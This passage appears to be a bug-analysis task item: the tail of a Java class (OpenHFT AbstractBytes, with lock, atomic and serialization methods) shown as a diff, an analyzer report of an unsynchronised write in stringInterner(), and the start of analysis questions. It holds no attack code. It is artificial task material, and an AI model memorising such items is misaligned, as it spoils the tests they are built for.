+    @Override
+    public ObjectSerializer objectSerializer() {
+        return objectSerializer;
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public <E> void writeEnum(@Nullable E e) {
+        if (e == null) {
+            write8bitText(null);
+            return;
+        }
+        if (e instanceof CharSequence) {
+            write8bitText((CharSequence) e);
+            return;
+        }
+        if (e instanceof Enum) {
+            write8bitText(e.toString());
+            return;
+        }
+
+        Class aClass = (Class) e.getClass();
+        writeInstance(aClass, e);
+    }
+
+    @Override
+    public void writeEnum(long offset, int len, Object e) {
+        long pos = position();
+        long lim = limit();
+        try {
+            position(offset);
+            limit(offset + len);
+            writeEnum(e);
+        } finally {
+            limit(lim);
+            position(pos);
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public <E> E readEnum(@NotNull Class<E> eClass) {
+        if (Enum.class.isAssignableFrom(eClass))
+            return (E) readEnum2((Class<Enum>) (Class) eClass);
+        if (String.class.isAssignableFrom(eClass))
+            return (E) readUTFΔ();
+        return readInstance(eClass, null);
+    }
+
+    @Override
+    public <E> E readEnum(long offset, int maxSize, Class<E> eClass) {
+        long pos = position();
+        long lim = limit();
+        try {
+            position(offset);
+            limit(offset + maxSize);
+            if (Enum.class.isAssignableFrom(eClass))
+                return (E) readEnum2((Class<Enum>) (Class) eClass);
+            if (String.class.isAssignableFrom(eClass))
+                return (E) readUTFΔ();
+            return readInstance(eClass, null);
+        } finally {
+            limit(lim);
+            position(pos);
+        }
+    }
+
+    @Override
+    public long nextSetBit(long fromIndex) {
+        if (fromIndex < 0)
+            throw new IndexOutOfBoundsException();
+        long maxBit = capacity() << 3;
+        long fromLongIndex = fromIndex & ~63;
+        if (fromLongIndex >= maxBit)
+            return -1;
+        long firstByte = fromLongIndex >>> 3;
+        if ((fromIndex & 63) != 0) {
+            long l = readVolatileLong(firstByte) >>> fromIndex;
+            if (l != 0) {
+                return fromIndex + numberOfTrailingZeros(l);
+            }
+            firstByte += 8;
+        }
+        for (long i = firstByte; i < capacity(); i += 8) {
+            long l = readLong(i);
+            if (l != 0)
+                return (i << 3) + numberOfTrailingZeros(l);
+        }
+        return -1;
+    }
+
+    private <E extends Enum<E>> E readEnum2(Class<E> eClass) {
+        try {
+            StringBuilder sb = acquireStringBuilder();
+            if (read8bitText(sb))
+                return EnumInterner.intern(eClass, sb);
+            return null;
+        } catch (StreamCorruptedException e) {
+            throw new IllegalStateException(e);
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public <E extends Enum<E>> E parseEnum(@NotNull Class<E> eClass, @NotNull StopCharTester tester) {
+        String text = parseUtf8(tester);
+        if (text.isEmpty())
+            return null;
+        return EnumInterner.intern(eClass, text);
+    }
+
+    @Override
+    public <E> void writeList(@NotNull Collection<E> list) {
+        writeStopBit(list.size());
+        for (E e : list)
+            writeEnum(e);
+    }
+
+    @Override
+    public <K, V> void writeMap(@NotNull Map<K, V> map) {
+        writeStopBit(map.size());
+        for (Map.Entry<K, V> entry : map.entrySet()) {
+            writeEnum(entry.getKey());
+            writeEnum(entry.getValue());
+        }
+    }
+
+    @Override
+    public <E> void readList(@NotNull Collection<E> list, @NotNull Class<E> eClass) {
+        long len = readStopBit();
+        if (len < 0 || len > Integer.MAX_VALUE)
+            throw new IllegalStateException("Invalid length: " + len);
+        list.clear();
+        for (int i = 0; i < len; i++) {
+            @SuppressWarnings("unchecked")
+            E e = readEnum(eClass);
+            list.add(e);
+        }
+    }
+
+    @Override
+    @NotNull
+    public <K, V> Map<K, V> readMap(@NotNull Map<K, V> map, @NotNull Class<K> kClass, @NotNull Class<V> vClass) {
+        long len = readStopBit();
+        if (len < 0 || len > Integer.MAX_VALUE)
+            throw new IllegalStateException("Invalid length: " + len);
+
+        map.clear();
+        for (int i = 0; i < len; i++)
+            map.put(readEnum(kClass), readEnum(vClass));
+        return map;
+    }
+
+    @Override
+    public int available() {
+        return (int) Math.min(Integer.MAX_VALUE, remaining());
+    }
+
+    @Override
+    public int read() {
+        return remaining() > 0 ? readUnsignedByte() : -1;
+    }
+
+    @Override
+    public int read(@NotNull byte[] bytes) {
+        return read(bytes, 0, bytes.length);
+    }
+
+    @Override
+    public abstract int read(@NotNull byte[] bytes, int off, int len);
+
+    @Override
+    public long skip(long n) {
+        if (n < -position())
+            throw new IllegalArgumentException("Skip bytes out of range, was " + n);
+        if (n > remaining())
+            n = remaining();
+        position(position() + n);
+        return n;
+    }
+
+    @Override
+    public void close() {
+        if (!isFinished())
+            finish();
+    }
+
+    @Override
+    public void finish() throws IndexOutOfBoundsException {
+        if (remaining() < 0)
+            throwOverflow();
+        finished = true;
+    }
+
+    private void throwOverflow() throws IndexOutOfBoundsException {
+        throw new IndexOutOfBoundsException("Buffer overflow, capacity: " + capacity() + " position: " + position());
+    }
+
+    @Override
+    public boolean isFinished() {
+        return finished;
+    }
+
+    @Override
+    public AbstractBytes clear() {
+        finished = false;
+        position(0L);
+        limit(capacity());
+        return this;
+    }
+
+    @Override
+    public Bytes flip() {
+        limit(position());
+        position(0);
+        return this;
+    }
+
+    @Override
+    public void flush() {
+        checkEndOfBuffer();
+    }
+
+    @Nullable
+    @Override
+    public Object readObject() {
+        try {
+            return objectSerializer.readSerializable(this, null, null);
+        } catch (Exception e) {
+            throw new IllegalStateException(e);
+        }
+    }
+
+    @Nullable
+    @Override
+    public <T> T readObject(Class<T> tClass) throws IllegalStateException {
+        Object o = readObject();
+        if (o == null || tClass.isInstance(o))
+            return (T) o;
+        throw new ClassCastException("Cannot convert " + o.getClass().getName() + " to " + tClass.getName() + " was " + o);
+    }
+
+    @Nullable
+    @Override
+    @SuppressWarnings("unchecked")
+    public <T> T readInstance(@NotNull Class<T> objClass, T obj) {
+        try {
+            return objectSerializer.readSerializable(this, objClass, obj);
+        } catch (Exception e) {
+            throw new IllegalStateException(e);
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public void writeObject(@Nullable Object obj) {
+        try {
+            objectSerializer.writeSerializable(this, obj, null);
+        } catch (Exception e) {
+            throw new IllegalStateException(e);
+        }
+        checkEndOfBuffer();
+    }
+
+    @Override
+    public <OBJ> void writeInstance(@NotNull Class<OBJ> objClass, @NotNull OBJ obj) {
+        try {
+            objectSerializer.writeSerializable(this, obj, objClass);
+        } catch (Exception e) {
+            throw new IllegalStateException(e);
+        }
+        checkEndOfBuffer();
+    }
+
+    @Override
+    public boolean tryLockInt(long offset) {
+        return tryLockNanos4a(offset);
+    }
+
+    @Override
+    public boolean tryLockNanosInt(long offset, long nanos) {
+        int limit = nanos <= 10000 ? (int) nanos / 10 : 1000;
+        for (int i = 0; i < limit; i++)
+            if (tryLockNanos4a(offset))
+                return true;
+        if (nanos <= 10000)
+            return false;
+        long end = System.nanoTime() + nanos - 10000;
+        do {
+            if (tryLockNanos4a(offset))
+                return true;
+        } while (end > System.nanoTime() && !currentThread().isInterrupted());
+        return false;
+    }
+
+    private boolean tryLockNanos4a(long offset) {
+        //lowId = bottom 24 bytes of the thread id
+        int lowId = shortThreadId();
+        //Use the top 8 bytes as a counter, and the bottom 24 bytes as the thread id
+        int firstValue = ((1 << 24) | lowId);
+        //If the cas works, it was unlocked and we now atomically have the lock
+        if (compareAndSwapInt(offset, 0, firstValue))
+            return true;
+        //The cas failed so get the value of the current lock
+        int currentValue = readInt(offset);
+        //if the bottom 24 bytes match our thread id ...
+        // TODO but what if we're in a different process?
+        if ((currentValue & INT_LOCK_MASK) == lowId) {
+            //then if the counter in the top 8 bytes is 255, throw an exception
+            if ((currentValue >>> 24) >= 255)
+                throw new IllegalStateException("Reentered 255 times without an unlock - if you are using this to lock across processes, there could be a thread id conflict letting one process 'steal' the lock from another process. To avoid this, call AffinitySupport.setThreadId() during startup which will make all threads have unique ids");
+            //otherwise increase the counter in the top 8 bytes by one
+            currentValue += 1 << 24;
+            //and store it - no other threads can successfully write at this point
+            //because their cas will fail (the value is not 0), so no update concurrency
+            //conflict, but we do want other threads to read the value we write
+            writeOrderedInt(offset, currentValue);
+            //we've got the lock - and incremented it, so return true
+            return true;
+        }
+        return false;
+    }
+
+    @Override
+    public void busyLockInt(long offset) throws InterruptedException, IllegalStateException {
+        boolean success = tryLockNanosInt(offset, BUSY_LOCK_LIMIT);
+        if (!success)
+            if (currentThread().isInterrupted())
+                throw new InterruptedException();
+            else
+                throw new IllegalStateException("Failed to acquire lock after " + BUSY_LOCK_LIMIT / 1e9 + " seconds.");
+    }
+
+    @Override
+    public void unlockInt(long offset) throws IllegalMonitorStateException {
+        int lowId = shortThreadId();
+        int firstValue = ((1 << 24) | lowId);
+        if (compareAndSwapInt(offset, firstValue, 0))
+            return;
+        // try to cheek the lowId and the count.
+        unlockFailedInt(offset, lowId);
+    }
+
+    @Override
+    public void resetLockInt(long offset) {
+        writeOrderedInt(offset, 0);
+    }
+
+    @Override
+    public int threadIdForLockInt(long offset) {
+        return readVolatileInt(offset) & INT_LOCK_MASK;
+    }
+
+    int shortThreadId() {
+        return shortThreadId0();
+    }
+
+    int shortThreadId0() {
+        final int tid = (int) getId() & INT_LOCK_MASK;
+        if (!ID_LIMIT_WARNED && tid > 1 << 24) {
+            warnIdLimit(tid);
+        }
+        return tid;
+    }
+
+    Thread currentThread() {
+        return Thread.currentThread();
+    }
+
+    @Override
+    public boolean tryLockLong(long offset) {
+        long id = uniqueTid();
+        return tryLockNanos8a(offset, id);
+    }
+
+    long uniqueTid() {
+        return Jvm.getUniqueTid(currentThread());
+    }
+
+    @Override
+    public boolean tryLockNanosLong(long offset, long nanos) {
+        long id = uniqueTid();
+        int limit = nanos <= 10000 ? (int) nanos / 10 : 1000;
+        for (int i = 0; i < limit; i++)
+            if (tryLockNanos8a(offset, id))
+                return true;
+        if (nanos <= 10000)
+            return false;
+        return tryLockNanosLong0(offset, nanos, id);
+    }
+
+    private boolean tryLockNanosLong0(long offset, long nanos, long id) {
+        long nanos0 = Math.min(nanos, SLEEP_THRESHOLD);
+        long start = System.nanoTime();
+        long end0 = start + nanos0 - 10000;
+        do {
+            if (tryLockNanos8a(offset, id))
+                return true;
+        } while (end0 > System.nanoTime() && !currentThread().isInterrupted());
+
+        long end = start + nanos - SLEEP_THRESHOLD;
+        if (LoggerHolder.LOGGER.isLoggable(Level.FINE)) {
+            LoggerHolder.LOGGER.log(Level.FINE, Thread.currentThread().getName() + ", waiting for lock");
+        }
+
+        try {
+            do {
+                if (tryLockNanos8a(offset, id)) {
+                    long millis = (System.nanoTime() - start) / 1000000;
+                    if (millis > 200) {
+                        LoggerHolder.LOGGER.log(Level.WARNING,
+                                Thread.currentThread().getName() +
+                                        ", to obtain a lock took " +
+                                        millis / 1e3 + " seconds"
+                        );
+                    }
+                    return true;
+                }
+                Thread.sleep(1);
+            } while (end > System.nanoTime());
+        } catch (InterruptedException ignored) {
+            Thread.currentThread().interrupt();
+        }
+        return false;
+    }
+
+    private boolean tryLockNanos8a(long offset, long id) {
+        long firstValue = (1L << 48) | id;
+        if (compareAndSwapLong(offset, 0, firstValue))
+            return true;
+        long currentValue = readLong(offset);
+        long lockedId = currentValue & ((1L << 48) - 1);
+        if (lockedId == 0) {
+            int count = (int) (currentValue >>> 48);
+            if (count != 0)
+                LoggerHolder.LOGGER.log(Level.WARNING, "Lock held by threadId 0 !?");
+            return compareAndSwapLong(offset, currentValue, firstValue);
+        }
+        if (lockedId == id) {
+            if (currentValue >>> 48 == 65535)
+                throw new IllegalStateException("Reentered 65535 times without an unlock");
+            currentValue += 1L << 48;
+            writeOrderedLong(offset, currentValue);
+            return true;
+        }
+        return false;
+    }
+
+    @Override
+    public void busyLockLong(long offset) throws InterruptedException, IllegalStateException {
+        boolean success = tryLockNanosLong(offset, BUSY_LOCK_LIMIT);
+        if (!success)
+            if (currentThread().isInterrupted())
+                throw new InterruptedException();
+            else
+                throw new IllegalStateException("Failed to acquire lock after " + BUSY_LOCK_LIMIT / 1e9 + " seconds.");
+    }
+
+    @Override
+    public void unlockLong(long offset) throws IllegalMonitorStateException {
+        long id = Jvm.getUniqueTid();
+        long firstValue = (1L << 48) | id;
+        if (compareAndSwapLong(offset, firstValue, 0))
+            return;
+        // try to check the lowId and the count.
+        unlockFailedLong(offset, id);
+    }
+
+    @Override
+    public void resetLockLong(long offset) {
+        writeOrderedLong(offset, 0L);
+    }
+
+    @Override
+    public long threadIdForLockLong(long offset) {
+        return readVolatileLong(offset);
+    }
+
+    long getId() {
+        return currentThread().getId();
+    }
+
+    private void unlockFailedInt(long offset, int lowId) throws IllegalMonitorStateException {
+        long currentValue = readInt(offset);
+        long holderId = currentValue & INT_LOCK_MASK;
+        if (holderId == lowId) {
+            currentValue -= 1 << 24;
+            writeOrderedInt(offset, (int) currentValue);
+
+        } else if (currentValue == 0) {
+            LoggerHolder.LOGGER.log(Level.WARNING, "No thread holds this lock, threadId: " + shortThreadId());
+
+        } else {
+            throw new IllegalMonitorStateException("Thread " + holderId + " holds this lock, " + (currentValue >>> 24) + " times");
+        }
+    }
+
+    private void unlockFailedLong(long offset, long id) throws IllegalMonitorStateException {
+        long currentValue = readLong(offset);
+        long holderId = currentValue & (-1L >>> 16);
+        if (holderId == id) {
+            currentValue -= 1L << 48;
+            writeOrderedLong(offset, currentValue);
+
+        } else if (currentValue == 0) {
+            throw new IllegalMonitorStateException("No thread holds this lock");
+
+        } else {
+            throw new IllegalMonitorStateException("Process " + ((currentValue >>> 32) & 0xFFFF)
+                    + " thread " + (holderId & (-1L >>> 32))
+                    + " holds this lock, " + (currentValue >>> 48)
+                    + " times, unlock from " + Jvm.getProcessId()
+                    + " thread " + currentThread().getId());
+        }
+    }
+
+    @Override
+    public int getAndAdd(long offset, int delta) {
+        for (; ; ) {
+            int current = readVolatileInt(offset);
+            int next = current + delta;
+            if (compareAndSwapInt(offset, current, next))
+                return current;
+        }
+    }
+
+    @Override
+    public int addAndGetInt(long offset, int delta) {
+        for (; ; ) {
+            int current = readVolatileInt(offset);
+            int next = current + delta;
+            if (compareAndSwapInt(offset, current, next))
+                return next;
+        }
+    }
+
+    @Override
+    public byte addByte(long offset, byte b) {
+        byte b2 = readByte(offset);
+        b2 += b;
+        writeByte(offset, b2);
+        return b2;
+    }
+
+    @Override
+    public int addUnsignedByte(long offset, int i) {
+        int b2 = readUnsignedByte(offset);
+        b2 += i;
+        writeUnsignedByte(offset, b2);
+        return b2 & 0xFF;
+    }
+
+    @Override
+    public short addShort(long offset, short s) {
+        short s2 = readShort(offset);
+        s2 += s;
+        writeShort(offset, s2);
+        return s2;
+    }
+
+    @Override
+    public int addUnsignedShort(long offset, int i) {
+        int b2 = readUnsignedShort(offset);
+        b2 += i;
+        writeUnsignedShort(offset, b2);
+        return b2 & 0xFFFF;
+    }
+
+    @Override
+    public int addInt(long offset, int i) {
+        int b2 = readInt(offset);
+        b2 += i;
+        writeInt(offset, b2);
+        return b2;
+    }
+
+    @Override
+    public long addUnsignedInt(long offset, long i) {
+        long b2 = readUnsignedInt(offset);
+        b2 += i;
+        writeUnsignedInt(offset, b2);
+        return b2 & 0xFFFFFFFFL;
+    }
+
+    @Override
+    public long addLong(long offset, long i) {
+        long b2 = readLong(offset);
+        b2 += i;
+        writeLong(offset, b2);
+        return b2;
+    }
+
+    @Override
+    public float addFloat(long offset, float f) {
+        float b2 = readFloat(offset);
+        b2 += f;
+        writeFloat(offset, b2);
+        return b2;
+    }
+
+    @Override
+    public double addDouble(long offset, double d) {
+        double b2 = readDouble(offset);
+        b2 += d;
+        writeDouble(offset, b2);
+        return b2;
+    }
+
+    @Override
+    public int addAtomicInt(long offset, int i) {
+        return addAndGetInt(offset, i);
+    }
+
+    @Override
+    public long addAtomicLong(long offset, long delta) {
+        for (; ; ) {
+            long current = readVolatileLong(offset);
+            long next = current + delta;
+            if (compareAndSwapLong(offset, current, next))
+                return next;
+        }
+    }
+
+    @Override
+    public float addAtomicFloat(long offset, float delta) {
+        for (; ; ) {
+            int current = readVolatileInt(offset);
+            int next = Float.floatToRawIntBits(Float.intBitsToFloat(current) + delta);
+            if (compareAndSwapInt(offset, current, next))
+                return next;
+        }
+    }
+
+    @Override
+    public double addAtomicDouble(long offset, double delta) {
+        for (; ; ) {
+            long current = readVolatileLong(offset);
+            long next = Double.doubleToRawLongBits(Double.longBitsToDouble(current) + delta);
+            if (compareAndSwapLong(offset, current, next))
+                return next;
+        }
+    }
+
+    @Override
+    public float readVolatileFloat(long offset) {
+        return Float.intBitsToFloat(readVolatileInt(offset));
+    }
+
+    @Override
+    public double readVolatileDouble(long offset) {
+        return Double.longBitsToDouble(readVolatileLong(offset));
+    }
+
+    @Override
+    public void writeOrderedFloat(long offset, float v) {
+        writeOrderedInt(offset, Float.floatToRawIntBits(v));
+    }
+
+    @Override
+    public void writeOrderedDouble(long offset, double v) {
+        writeOrderedLong(offset, Double.doubleToRawLongBits(v));
+    }
+
+    @Override
+    public int length() {
+        if (position() == 0)
+            return (int) Math.min(limit(), Integer.MAX_VALUE);
+        else if (position() == limit() || limit() == capacity())
+            return (int) Math.min(position(), Integer.MAX_VALUE);
+        else
+            throw new IllegalStateException();
+    }
+
+    @Override
+    public char charAt(int index) {
+        if (index < 0 || index >= length())
+            throw new IndexOutOfBoundsException();
+        return (char) readUnsignedByte(position() + index);
+    }
+
+    @Override
+    public void readMarshallable(@NotNull Bytes in) throws IllegalStateException {
+        long len = Math.min(remaining(), in.remaining());
+        long inPosition = in.position();
+        write(in, inPosition, len);
+        in.position(inPosition + len);
+    }
+
+    @Override
+    public void writeMarshallable(@NotNull Bytes out) {
+        out.write(this, position(), remaining());
+    }
+
+    @Override
+    public void write(RandomDataInput bytes) {
+        long toWrite = bytes.remaining();
+        write(bytes, bytes.position(), toWrite);
+        bytes.skip(toWrite);
+    }
+
+    @Override
+    public void write(RandomDataInput bytes, long position, long length) {
+        if (length > remaining())
+            throw new IllegalArgumentException("Attempt to write " + length + " bytes with " + remaining() + " remaining");
+        if (bytes.byteOrder() == byteOrder()) {
+            while (length >= 8) {
+                writeLong(bytes.readLong(position));
+                position += 8;
+                length -= 8;
+            }
+        }
+        while (length >= 1) {
+            writeByte(bytes.readByte(position));
+            position++;
+            length--;
+        }
+    }
+
+    @Override
+    public void write(@NotNull Byteable byteable) {
+        if (byteable.bytes() == null) {
+            throw new IllegalArgumentException("Attempt to write an unitialized Byteable object");
+        }
+
+        write(byteable.bytes(), byteable.offset(), byteable.maxSize());
+    }
+
+    @Override
+    public boolean startsWith(RandomDataInput input) {
+        return compare(position(), input, input.position(), input.remaining());
+    }
+
+    @Override
+    public boolean compare(long offset, RandomDataInput input, long inputOffset, long len) {
+        if (offset < 0 || inputOffset < 0 || len < 0)
+            throw new IndexOutOfBoundsException();
+        if (offset + len < 0 || offset + len > capacity() || inputOffset + len < 0 ||
+                inputOffset + len > input.capacity()) {
+            return false;
+        }
+        long i = 0L;
+        for (; i < len - 7L; i += 8L) {
+            if (readLong(offset + i) != input.readLong(inputOffset + i))
+                return false;
+        }
+        if (i < len - 3L) {
+            if (readInt(offset + i) != input.readInt(inputOffset + i))
+                return false;
+            i += 4L;
+        }
+        if (i < len - 1L) {
+            if (readChar(offset + i) != input.readChar(inputOffset + i))
+                return false;
+            i += 2L;
+        }
+        if (i < len) {
+            if (readByte(offset + i) != input.readByte(inputOffset + i))
+                return false;
+        }
+        return true;
+    }
+
+    @NotNull
+    @Override
+    public String toString() {
+        long remaining = remaining();
+        if (remaining < 0 || remaining > 1L << 48)
+            return "invalid remaining: " + remaining();
+        if (remaining > 1 << 20)
+            remaining = 1 << 20;
+        char[] chars = new char[(int) remaining];
+        long pos = position();
+        for (int i = 0; i < remaining; i++) {
+            chars[i] = (char) readUnsignedByte(i + pos);
+        }
+        return new String(chars);
+    }
+
+    @NotNull
+    @Override
+    public String toDebugString() {
+        return toDebugString(64);
+    }
+
+    @NotNull
+    @Override
+    public String toDebugString(long limit) {
+        StringBuilder sb = new StringBuilder(200);
+        sb.append("[pos: ").append(position()).append(", lim: ").append(limit()).append(", cap: ")
+                .append(capacity()).append(" ] ");
+        toString(sb, position() - limit, position(), position() + limit);
+
+        return sb.toString();
+    }
+
+    @Override
+    public String toHexString(long limit) {
+        return toHexString(this, position(), Math.min(remaining(), limit));
+    }
+
+    @Override
+    public void toString(Appendable sb, long start, long position, long end) {
+        try {
+            // before
+            if (start < 0) start = 0;
+            if (position > start) {
+                for (long i = start; i < position; i++) {
+                    append(sb, i);
+                }
+                sb.append('\u2016');
+            }
+            if (end > limit())
+                end = limit();
+            // after
+            for (long i = position; i < end; i++) {
+                append(sb, i);
+            }
+        } catch (IOException e) {
+            try {
+                sb.append(e.toString());
+            } catch (IOException e1) {
+                throw new AssertionError(e);
+            }
+        }
+    }
+
+    @Override
+    public ByteBuffer sliceAsByteBuffer(@Nullable ByteBuffer toReuse) {
+        throw new UnsupportedOperationException();
+    }
+
+    private void append(Appendable sb, long i) throws IOException {
+        int b = readUnsignedByte(i);
+        if (b == 0)
+            sb.append('\u0660');
+        else if (b < 21)
+            sb.append((char) (b + 0x2487));
+        else
+            sb.append((char) b);
+    }
+
+    @Override
+    public void asString(Appendable appendable) {
+        try {
+            for (long i = position(); i < limit(); i++)
+                append(appendable, i);
+        } catch (IOException e) {
+            throw new AssertionError(e);
+        }
+    }
+
+    @Override
+    public CharSequence asString() {
+        StringBuilder sb = new StringBuilder();
+        asString(sb);
+        return sb;
+    }
+
+    @Override
+    public boolean compareAndSwapDouble(long offset, double expected, double value) {
+        long exp = Double.doubleToRawLongBits(expected);
+        long val = Double.doubleToRawLongBits(value);
+        return compareAndSwapLong(offset, exp, val);
+    }
+
+    public File file() {
+        return null;
+    }
+
+    // read/write lock support.
+    // short path in a small method so it can be inlined.
+    public boolean tryRWReadLock(long offset, long timeOutNS) throws IllegalStateException, InterruptedException {
+        long lock = readVolatileLong(offset);
+        int writersWaiting = rwWriteWaiting(lock);
+        int writersLocked = rwWriteLocked(lock);
+        // readers wait for waiting writers
+        if (writersLocked <= 0 && writersWaiting <= 0) {
+            // increment readers locked.
+            int readersLocked = rwReadLocked(lock);
+            if (readersLocked >= RW_LOCK_MASK)
+                throw new IllegalStateException("readersLocked has reached a limit of " + readersLocked);
+            if (compareAndSwapLong(offset, lock, lock + RW_READ_LOCKED))
+                return true;
+        }
+        return tryRWReadLock0(offset, timeOutNS);
+    }
+
+    private boolean tryRWReadLock0(long offset, long timeOutNS) throws IllegalStateException, InterruptedException {
+        long end = System.nanoTime() + timeOutNS;
+        // wait for no write locks, nor waiting writes.
+        for (; ; ) {
+            long lock = readVolatileLong(offset);
+            int writersWaiting = rwWriteWaiting(lock);
+            int writersLocked = rwWriteLocked(lock);
+            if (writersLocked <= 0 && writersWaiting <= 0) {
+                // increment readers locked.
+                int readersLocked = rwReadLocked(lock);
+                if (readersLocked >= RW_LOCK_MASK)
+                    throw new IllegalStateException("readersLocked has reached a limit of " + readersLocked);
+                // add to the readLock count and decrease the readWaiting count.
+                if (compareAndSwapLong(offset, lock, lock + RW_READ_LOCKED))
+                    return true;
+            }
+            if (System.nanoTime() > end)
+                return false;
+
+            if (currentThread().isInterrupted())
+                throw new InterruptedException("Unable to obtain lock, interrupted");
+        }
+    }
+
+    public boolean tryRWWriteLock(long offset, long timeOutNS) throws IllegalStateException, InterruptedException {
+        long lock = readVolatileLong(offset);
+        int readersLocked = rwReadLocked(lock);
+        int writersLocked = rwWriteLocked(lock);
+        // writers don't wait for waiting readers.
+        if (readersLocked <= 0 && writersLocked <= 0) {
+            if (compareAndSwapLong(offset, lock, lock + RW_WRITE_LOCKED))
+                return true;
+        }
+        return tryRWWriteLock0(offset, timeOutNS);
+    }
+
+    private boolean tryRWWriteLock0(long offset, long timeOutNS) throws IllegalStateException, InterruptedException {
+        for (; ; ) {
+            long lock = readVolatileLong(offset);
+            int writersWaiting = rwWriteWaiting(lock);
+            if (writersWaiting >= RW_LOCK_MASK)
+                throw new IllegalStateException("writersWaiting has reached a limit of " + writersWaiting);
+            if (compareAndSwapLong(offset, lock, lock + RW_WRITE_WAITING))
+                break;
+        }
+        long end = System.nanoTime() + timeOutNS;
+        // wait for no write locks.
+        for (; ; ) {
+            long lock = readVolatileLong(offset);
+            int readersLocked = rwReadLocked(lock);
+            int writersWaiting = rwWriteWaiting(lock);
+            int writersLocked = rwWriteLocked(lock);
+            if (readersLocked <= 0 && writersLocked <= 0) {
+                // increment readers locked.
+                if (writersWaiting <= 0) {
+                    System.err.println("writersWaiting has underflowed");
+                    return false;
+                }
+                // add to the readLock count and decrease the readWaiting count.
+                if (compareAndSwapLong(offset, lock, lock + RW_WRITE_LOCKED - RW_WRITE_WAITING))
+                    return true;
+            }
+            boolean interrupted = currentThread().isInterrupted();
+            if (interrupted || System.nanoTime() > end) {
+                // release waiting
+                for (; ; ) {
+                    if (writersWaiting <= 0)
+                        throw new IllegalStateException("writersWaiting has underflowed");
+                    if (compareAndSwapLong(offset, lock, lock - RW_WRITE_WAITING))
+                        break;
+                    lock = readVolatileLong(offset);
+                    writersWaiting = rwWriteWaiting(lock);
+                }
+                if (interrupted)
+                    throw new InterruptedException("Unable to obtain lock, interrupted");
+                return false;
+            }
+        }
+    }
+
+    public void unlockRWReadLock(long offset) {
+        for (; ; ) {
+            long lock = readVolatileLong(offset);
+            int readersLocked = rwReadLocked(lock);
+            if (readersLocked <= 0)
+                throw new IllegalMonitorStateException("readerLock underflow");
+            if (compareAndSwapLong(offset, lock, lock - RW_READ_LOCKED))
+                return;
+        }
+    }
+
+    public void unlockRWWriteLock(long offset) {
+        for (; ; ) {
+            long lock = readVolatileLong(offset);
+            int writersLocked = rwWriteLocked(lock);
+            if (writersLocked != 1)
+                throw new IllegalMonitorStateException("writersLock underflow " + writersLocked);
+            if (compareAndSwapLong(offset, lock, lock - RW_WRITE_LOCKED))
+                return;
+        }
+    }
+
+    String dumpRWLock(long offset) {
+        long lock = readVolatileLong(offset);
+        int readersLocked = rwReadLocked(lock);
+        int writersWaiting = rwWriteWaiting(lock);
+        int writersLocked = rwWriteLocked(lock);
+        return "writerLocked: " + writersLocked
+                + ", writersWaiting: " + writersWaiting
+                + ", readersLocked: " + readersLocked;
+    }
+
+    static class DateCache {
+        final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy/MM/dd");
+        private long lastDay = Long.MIN_VALUE;
+        @Nullable
+        private byte[] lastDateStr = null;
+
+        DateCache() {
+            dateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
+        }
+    }
+
+    static class LoggerHolder {
+        public static final Logger LOGGER = Logger.getLogger(AbstractBytes.class.getName());
+    }
+
+    abstract static class FastStringOperations {
+        abstract long getUtf8EncodedStringLength(@NotNull String string);
+
+        final int getUtf8CharSize(char c) {
+            if ((c > 0x007F)) {
+                if (c > 0x07FF) {
+                    return 3;
+                } else {
+                    return 2;
+                }
+            }
+            return 1;
+        }
+
+        abstract char[] extractChars(String string);
+    }
+
+    private static class FastStringOperations17 extends FastStringOperations {
+        final Field valueField;
+
+        private FastStringOperations17() throws SecurityException, NoSuchFieldException {
+            valueField = String.class.getDeclaredField("value");
+            valueField.setAccessible(true);
+        }
+
+        char[] extractChars(String string) {
+            try {
+                return (char[]) valueField.get(string);
+            } catch (IllegalAccessException e) {
+                throw new AssertionError(e);
+            }
+        }
+
+        @Override
+        long getUtf8EncodedStringLength(String string) {
+            char[] chars = extractChars(string);
+            long utflen = chars.length;
+            for (char c : chars) {
+                if ((c > 0x007F)) {
+                    if (c > 0x07FF) {
+                        utflen += 2;
+                    } else {
+                        utflen++;
+                    }
+                }
+            }
+            return utflen;
+        }
+    }
+
+    private static final class FastStringOperations16 extends FastStringOperations17 {
+        private final Field offsetField, countField;
+
+        private FastStringOperations16() throws SecurityException, NoSuchFieldException {
+            super();
+            offsetField = String.class.getDeclaredField("offset");
+            offsetField.setAccessible(true);
+            countField = String.class.getDeclaredField("count");
+            countField.setAccessible(true);
+        }
+
+        @Override
+        long getUtf8EncodedStringLength(String string) {
+            final char[] chars = extractChars(string);
+            final int startIndex, endIndex;
+
+            try {
+                startIndex = offsetField.getInt(string);
+                endIndex = startIndex + countField.getInt(string);
+            } catch (IllegalAccessException e) {
+                throw new AssertionError(e);
+            }
+
+            long utflen = 0;
+            for (int i = startIndex; i < endIndex; ++i) {
+                utflen += getUtf8CharSize(chars[i]);
+            }
+            return utflen;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `net.openhft.lang.io.AbstractBytes.stringInterner` writes to field `this.net.openhft.lang.io.AbstractBytes.stringInterner` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+StringInterner AbstractBytes.stringInterner()
+
+### Procedure Id:
+net.openhft.lang.io.AbstractBytes.stringInterner():net.openhft.lang.pool.StringInterner.25d2348edf1cf20eb7a8e8660bc6dd23
+
+### File:
+lang/src/main/java/net/openhft/lang/io/AbstractBytes.java
+
+### Key:
+AbstractBytes.java|stringInterner|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+fe24f0e4af943e27bfdf5574e5dc9db0
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
